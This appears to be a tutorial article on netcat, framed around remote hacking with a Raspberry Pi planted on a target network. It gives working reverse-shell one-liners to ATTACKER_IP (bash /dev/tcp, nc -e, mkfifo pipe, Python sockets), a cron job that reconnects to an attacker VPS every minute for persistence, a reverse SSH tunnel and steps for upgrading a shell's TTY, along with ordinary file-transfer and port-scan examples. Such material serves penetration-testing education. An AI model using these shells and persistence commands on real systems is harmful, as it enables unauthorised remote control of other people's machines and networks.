Netcat - The Swiss Army Knife

3 min readArticle

Netcat (nc) is a simple networking utility that reads and writes data across TCP/UDP connections. In wireless/remote hacking contexts it's used for: establishing reverse shells from a remotely compromised device (like a Pi on a target network), pivoting, file transfer, and port scanning. Every security person uses netcat constantly.

Basic Concepts

Listener mode (-l) — waits for incoming connections (the C2 side)
Client mode — connects to a listener (the compromised device side)
Reverse shell — compromised device connects back to attacker (bypasses firewall/NAT)
Bind shell — compromised device opens a listening port (harder through NAT)

Simple Connection Test

bash

# Listener (terminal 1)
nc -lvnp 4444

# Client (terminal 2)
nc 192.168.1.100 4444
# Now you can type and it appears on the other terminal

Reverse Shells

The attacker listens, the victim connects back:

bash

# --- Attacker's machine (internet facing) ---
nc -lvnp 4444

# --- Compromised machine (runs this) ---
# Bash reverse shell
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# Netcat reverse shell (if -e is available)
nc ATTACKER_IP 4444 -e /bin/bash

# Netcat without -e (pipe method)
mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc ATTACKER_IP 4444 >/tmp/f

# Python reverse shell
python3 -c 'import socket,subprocess,os; s=socket.socket(); s.connect(("ATTACKER_IP",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(["/bin/bash","-i"])'

Wireless/Pi Remote Access Context

In the "Pi on target network" scenario:

bash

# Pi connects back to your VPS every minute (cron)
* * * * * bash -i >& /dev/tcp/your.vps.ip/4444 0>&1

# More reliable: reverse SSH tunnel from Pi to VPS
# On Pi:
ssh -f -N -R 2222:localhost:22 [email protected]

# On VPS, SSH to Pi through tunnel:
ssh localhost -p 2222

File Transfer

bash

# Send file — receiver first
# Receiver
nc -lvnp 9999 > received_file.txt

# Sender
nc 192.168.1.100 9999 < file_to_send.txt

# Transfer directory (tar + netcat)
# Receiver
nc -lvnp 9999 | tar xvf -

# Sender
tar cvf - /path/to/directory | nc 192.168.1.100 9999

Port Scanning

bash

# Basic port scan
nc -zv 192.168.1.1 1-1024

# UDP scan
nc -zuv 192.168.1.1 53

# Quick scan of common ports
nc -zv 192.168.1.1 22 80 443 3389 8080

Chat / Simple Tunnel

bash

# Simple chat
# Side A
nc -lvnp 5555

# Side B
nc 192.168.1.100 5555

# Now both sides can type messages

Netcat Versions

Traditional nc — basic, -e flag available
Ncat (nmap version) — supports SSL, more features
nc.traditional on Debian/Ubuntu

bash

# Check which version
nc --version
which nc

# Ncat with SSL
ncat --ssl -lvnp 4444   # listener
ncat --ssl target 4444  # client

Upgrade a Reverse Shell (TTY)

Basic nc shells are dumb (no tab completion, no job control):

bash

# On compromised machine after getting shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then Ctrl+Z
stty raw -echo; fg
# Then
export TERM=xterm

Netcat - The Swiss Army Knife

Basic Concepts

Simple Connection Test

Reverse Shells

Wireless/Pi Remote Access Context

File Transfer

Port Scanning

Chat / Simple Tunnel

Netcat Versions

Upgrade a Reverse Shell (TTY)

See Also